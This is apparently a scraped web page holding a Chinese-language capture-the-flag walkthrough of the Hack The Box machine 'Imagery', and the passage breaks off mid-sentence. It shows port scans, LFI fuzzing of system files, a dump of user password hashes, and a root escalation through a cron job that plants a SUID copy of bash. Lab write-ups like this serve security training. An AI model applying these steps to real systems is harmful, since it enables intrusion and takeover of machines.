19:I[15621,["/_next/static/immutable/chunks/3gm-8e62xn1qd.js","/_next/static/immutable/chunks/0n2yq6f-f75k2.js"],"ArticleReader"] 1a:T45d,

$ nmap -p- --min-rate 10000 -T4 -Pn -n --verbose -oA nmap/quick_scan 10.129.33.54
...<SNIP>...
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt
...<SNIP>...

$ nmap -sC -sV -p22,8000 -vv -oA nmap/specific_ports 10.129.33.54
...<SNIP>...
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKyy0U7qSOOyGqKW/mnTdFIj9zkAcvMCMWnEhOoQFWUYio6eiBlaFBjhhHuM8hEM0tbeqFbnkQ+6SFDQw6VjP+E=
|   256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleYkGyL8P6lEEXf1+1feCllblPfSRHnQ9znOKhcnNM
8000/tcp open  http    syn-ack ttl 63 Werkzeug httpd 3.1.3 (Python 3.12.7)
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...<SNIP>...

1b:T407,$ nmap -p- --min-rate 10000 -T4 -Pn -n --verbose -oA nmap/quick_scan 10.129.33.54 ...... PORT STATE SERVICE 22/tcp open ssh 8000/tcp open http-alt ...... $ nmap -sC -sV -p22,8000 -vv -oA nmap/specific_ports 10.129.33.54 ...... PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKyy0U7qSOOyGqKW/mnTdFIj9zkAcvMCMWnEhOoQFWUYio6eiBlaFBjhhHuM8hEM0tbeqFbnkQ+6SFDQw6VjP+E= | 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleYkGyL8P6lEEXf1+1feCllblPfSRHnQ9znOKhcnNM 8000/tcp open http syn-ack ttl 63 Werkzeug httpd 3.1.3 (Python 3.12.7) | http-methods: |_ Supported Methods: GET HEAD OPTIONS |_http-server-header: Werkzeug/3.1.3 Python/3.12.7 |_http-title: Image Gallery Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ......1c:T402,

$ ffuf -w /usr/share/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -request get_system_log_req.txt -request-proto http -fs 186,0 -ac
...<SNIP>...
/etc/shadow             [Status: 500, Size: 95, Words: 8, Lines: 2, Duration: 68ms]
/etc/sudoers            [Status: 500, Size: 96, Words: 8, Lines: 2, Duration: 62ms]
/etc/ssh/sshd_config    [Status: 200, Size: 3545, Words: 323, Lines: 132, Duration: 62ms]
/var/log/dmesg          [Status: 500, Size: 98, Words: 8, Lines: 2, Duration: 65ms]
/var/log/auth.log       [Status: 500, Size: 101, Words: 8, Lines: 2, Duration: 66ms]
/var/log/kern.log       [Status: 500, Size: 101, Words: 8, Lines: 2, Duration: 68ms]
/var/log/syslog         [Status: 500, Size: 99, Words: 8, Lines: 2, Duration: 68ms]
/var/log/wtmp           [Status: 200, Size: 8448, Words: 1, Lines: 3, Duration: 81ms]
/var/run/utmp           [Status: 200, Size: 1152, Words: 1, Lines: 1, Duration: 64ms]
///////../../../etc/passwd [Status: 200, Size: 1982, Words: 17, Lines: 39, Duration: 60ms]

1d:T43e,

"users": [
    {
        "username": "admin@imagery.htb",
        "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
        "displayId": "f8p10uw0",
        "isTestuser": false,
        "isAdmin": true,
        "failed_login_attempts": 0,
        "locked_until": null
    },
    {
        "username": "testuser@imagery.htb",
        "password": "2c65c8d7bfbca32a3ed42596192384f6",
        "displayId": "8utz23o5",
        "isTestuser": true,
        "isAdmin": false,
        "failed_login_attempts": 0,
        "locked_until": null
    },
    {
        "username": "mark@imagery.htb",
        "password": "01c3d2e5bdaf6134cec0a367cf53e535",
        "displayId": "868facaf",
        "isAdmin": false,
        "failed_login_attempts": 0,
        "locked_until": null,
        "isTestuser": false
    },
    {
        "username": "web@imagery.htb",
        "password": "84e3c804cf1fa14306f26f9f3da177e0",
        "displayId": "7be291d4",
        "isAdmin": true,
        "failed_login_attempts": 0,
        "locked_until": null,
        "isTestuser": false
    }
],

1e:T65a,

mark@Imagery:~$ sudo /usr/local/bin/charcol shell
First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:
Are you sure you want to use 'no password' mode? (yes/no): yes
[2026-08-28 17:40:05] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.

mark@Imagery:~$ sudo /usr/local/bin/charcol shell

  ░██████  ░██                                                  ░██
 ░██   ░░██ ░██                                                  ░██
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██



Charcol The Backup Suit - Development edition 1.0.0

[2026-08-28 17:40:39] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol>

1f:T8af,

charcol> help
[2026-08-28 17:41:04] [INFO]
Charcol Shell Commands:
...<SNIP>...
  Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
      Purpose: Add a new automated cron job managed by Charcol.
      Verification:
        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
      Examples:
        - Status 1 (encrypted app password), cron:
          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), cron, unencrypted backup:
          CHARCOL_NON_INTERACTIVE=true charcol auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), interactive:
          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
          (will prompt for system password)

    auto list
      Purpose: List all automated jobs managed by Charcol.
      Example:
        auto list

    auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
      Purpose: Modify an existing Charcol-managed automated job.
      Verification: Same as 'auto add'.
      Example:
        auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"

    auto delete <job_id>
      Purpose: Remove an automated job managed by Charcol.
      Verification: Same as 'auto add'.
      Example:
        auto delete <job_id>

20:T730,charcol> help [2026-08-28 17:41:04] [INFO] Charcol Shell Commands: ...... Automated Jobs (Cron): auto add --schedule "" --command "" --name "" [--log-output ] Purpose: Add a new automated cron job managed by Charcol. Verification: - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag). - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell). Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths. Examples: - Status 1 (encrypted app password), cron: CHARCOL_NON_INTERACTIVE=true charcol --app-password auto add \ --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p " \ --name "Daily Docs Backup" --log-output - Status 2 (no app password), cron, unencrypted backup: CHARCOL_NON_INTERACTIVE=true charcol auto add \ --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \ --name "Daily Docs Backup" --log-output - Status 2 (no app password), interactive: auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \ --name "Daily Docs Backup" --log-output (will prompt for system password) auto list Purpose: List all automated jobs managed by Charcol. Example: auto list auto edit [--schedule ""] [--command ""] [--name ""] [--log-output ] Purpose: Modify an existing Charcol-managed automated job. Verification: Same as 'auto add'. Example: auto edit --schedule "30 4 * * *" --name "Updated Backup Job" auto delete Purpose: Remove an automated job managed by Charcol. Verification: Same as 'auto add'. Example: auto delete 21:T46b,

charcol> auto add --schedule "* * * * *" --command "cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb" --name "HEHE IM SO BAD"
[2026-08-28 17:51:23] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:

[2026-08-28 17:51:26] [INFO] System password verified successfully.
[2026-08-28 17:51:26] [INFO] Auto job 'HEHE IM SO BAD' (ID: 92feb663-ca81-494a-8674-f744899fe4b7) added successfully. The job will run according to schedule.
[2026-08-28 17:51:26] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb
charcol> auto list
[2026-08-28 17:51:29] [INFO] Charcol-managed auto jobs:
[2026-08-28 17:51:29] [INFO]   ID: 92feb663-ca81-494a-8674-f744899fe4b7
[2026-08-28 17:51:29] [INFO]   Name: HEHE IM SO BAD
[2026-08-28 17:51:29] [INFO]   Command: * * * * * CHARCOL_NON_INTERACTIVE=true cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb
[2026-08-28 17:51:29] [INFO] ------------------------------
charcol> exit
[2026-08-28 17:51:30] [INFO] Exiting Charcol shell.

22:T442,charcol> auto add --schedule "* * * * *" --command "cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb" --name "HEHE IM SO BAD" [2026-08-28 17:51:23] [INFO] System password verification required for this operation. Enter system password for user 'mark' to confirm: [2026-08-28 17:51:26] [INFO] System password verified successfully. [2026-08-28 17:51:26] [INFO] Auto job 'HEHE IM SO BAD' (ID: 92feb663-ca81-494a-8674-f744899fe4b7) added successfully. The job will run according to schedule. [2026-08-28 17:51:26] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb charcol> auto list [2026-08-28 17:51:29] [INFO] Charcol-managed auto jobs: [2026-08-28 17:51:29] [INFO] ID: 92feb663-ca81-494a-8674-f744899fe4b7 [2026-08-28 17:51:29] [INFO] Name: HEHE IM SO BAD [2026-08-28 17:51:29] [INFO] Command: * * * * * CHARCOL_NON_INTERACTIVE=true cp /bin/bash /var/tmp/abb; /bin/chmod 4777 /var/tmp/abb [2026-08-28 17:51:29] [INFO] ------------------------------ charcol> exit [2026-08-28 17:51:30] [INFO] Exiting Charcol shell.11:["$","main",null,{"className":"reader-page","children":[["$","div",null,{"className":"reader-kicker","children":[["$","$L10",null,{"href":"/sources/8493b38312725c73","children":[["$","svg",null,{"ref":"$undefined","xmlns":"http://www.w3.org/2000/svg","width":16,"height":16,"viewBox":"0 0 24 24","fill":"none","stroke":"currentColor","strokeWidth":2,"strokeLinecap":"round","strokeLinejoin":"round","className":"lucide lucide-arrow-left","children":[["$","path","1l729n",{"d":"m12 19-7-7 7-7"}],["$","path","x3x0zl",{"d":"M19 12H5"}],"$undefined"]}]," 返回 ","ABB00717"]}],["$","span",null,{"children":"观点博客"}]]}],["$","header",null,{"className":"article-meta","children":[["$","span",null,{"children":["FROM · ","ABB00717"]}],["$","div",null,{"children":[["$","svg",null,{"ref":"$undefined","xmlns":"http://www.w3.org/2000/svg","width":15,"height":15,"viewBox":"0 0 24 24","fill":"none","stroke":"currentColor","strokeWidth":2,"strokeLinecap":"round","strokeLinejoin":"round","className":"lucide lucide-calendar-days","children":[["$","path","1cmpym",{"d":"M8 2v4"}],["$","path","4m81vk",{"d":"M16 2v4"}],["$","rect","1hopcy",{"width":"18","height":"18","x":"3","y":"4","rx":"2"}],["$","path","8toen8",{"d":"M3 10h18"}],["$","path","6423bh",{"d":"M8 14h.01"}],["$","path","1etili",{"d":"M12 14h.01"}],["$","path","1gbofw",{"d":"M16 14h.01"}],["$","path","lrp35t",{"d":"M8 18h.01"}],["$","path","mhygvu",{"d":"M12 18h.01"}],["$","path","kzsmim",{"d":"M16 18h.01"}],"$undefined"]}]," ","2026年8月28日",null]}]]}],["$","$L19",null,{"article":{"title":"HTB - Imagery","byline":null,"publishedAt":"2026-08-28T00:00:00.000Z","language":"fr","blocks":[{"id":"b0","type":"heading","html":"

靶機簡介

","text":"靶機簡介"},{"id":"b1","type":"paragraph","html":"

在 Imagery 圖片上傳管理網站中，我們利用 Bug Reports 的 XSS 漏洞取得 admin 的 session。緊接著利用 Admin Panel 中 Download Log 的 LFI 漏洞取得 testuser 的帳密。最後利用 Crop Image 功能的 OS Command Injection 取得 web 的 shell。

","text":"在 Imagery 圖片上傳管理網站中，我們利用 Bug Reports 的 XSS 漏洞取得 admin 的 session。緊接著利用 Admin Panel 中 Download Log 的 LFI 漏洞取得 testuser 的帳密。最後利用 Crop Image 功能的 OS Command Injection 取得 web 的 shell。"},{"id":"b2","type":"paragraph","html":"

接著我們在系統中發現加密的備份檔案，暴力破解後取得 mark 帳號的密碼，登入後透過濫用自製備份工具的權限取得 root shell。

","text":"接著我們在系統中發現加密的備份檔案，暴力破解後取得 mark 帳號的密碼，登入後透過濫用自製備份工具的權限取得 root shell。"},{"id":"b3","type":"heading","html":"

Academy x HTB Labs

","text":"Academy x HTB Labs"},{"id":"b5","type":"heading","html":"

Box Info

","text":"Box Info"},{"id":"b7","type":"heading","html":"

Recon

","text":"Recon"},{"id":"b8","type":"paragraph","html":"

首先一定是 nmap 伺候：

","text":"首先一定是 nmap 伺候："},{"id":"b9","type":"paragraph","html":"$1a","text":"$1b"},{"id":"b10","type":"list","html":"

只有 HTTP(8000) 和 SSH(22)
Service Info 顯示是個 Linux server
根據 http-server-header 看到網站是用 Werkzeug/3.1.3 Python/3.12.7 架的

","text":"只有 HTTP(8000) 和 SSH(22) Service Info 顯示是個 Linux server 根據 http-server-header 看到網站是用 Werkzeug/3.1.3 Python/3.12.7 架的"},{"id":"b11","type":"paragraph","html":"

那就直接逛網站，先編輯 /etc/hosts：

","text":"那就直接逛網站，先編輯 /etc/hosts："},{"id":"b12","type":"paragraph","html":"

10.129.33.54    imagery.htb\n

","text":"10.129.33.54 imagery.htb"},{"id":"b13","type":"heading","html":"

逛網站

","text":"逛網站"},{"id":"b14","type":"paragraph","html":"

看起來就是讓使用者自由上傳圖片並管理的網站：

","text":"看起來就是讓使用者自由上傳圖片並管理的網站："},{"id":"b16","type":"paragraph","html":"

網站有開放註冊，去 Register 註冊一個帳號：

","text":"網站有開放註冊，去 Register 註冊一個帳號："},{"id":"b18","type":"paragraph","html":"

註冊並成功登入以後：

","text":"註冊並成功登入以後："},{"id":"b20","type":"paragraph","html":"

推測上傳的圖片會出現在 Gallery，先去 Upload 上傳圖片看看：

","text":"推測上傳的圖片會出現在 Gallery，先去 Upload 上傳圖片看看："},{"id":"b22","type":"paragraph","html":"

隨便選個圖片上傳看看，通常我都會直接擷取當前網站的頁面當作上傳素材，文字欄位也順手看看有沒有 XSS：

","text":"隨便選個圖片上傳看看，通常我都會直接擷取當前網站的頁面當作上傳素材，文字欄位也順手看看有沒有 XSS："},{"id":"b24","type":"paragraph","html":"

點擊 Upload Image 上傳以後在 Gallery 就能看到圖片。它居然把我們的 <script> 給過濾掉並替換成原檔名了：

","text":"點擊 Upload Image 上傳以後在 Gallery 就能看到圖片。它居然把我們的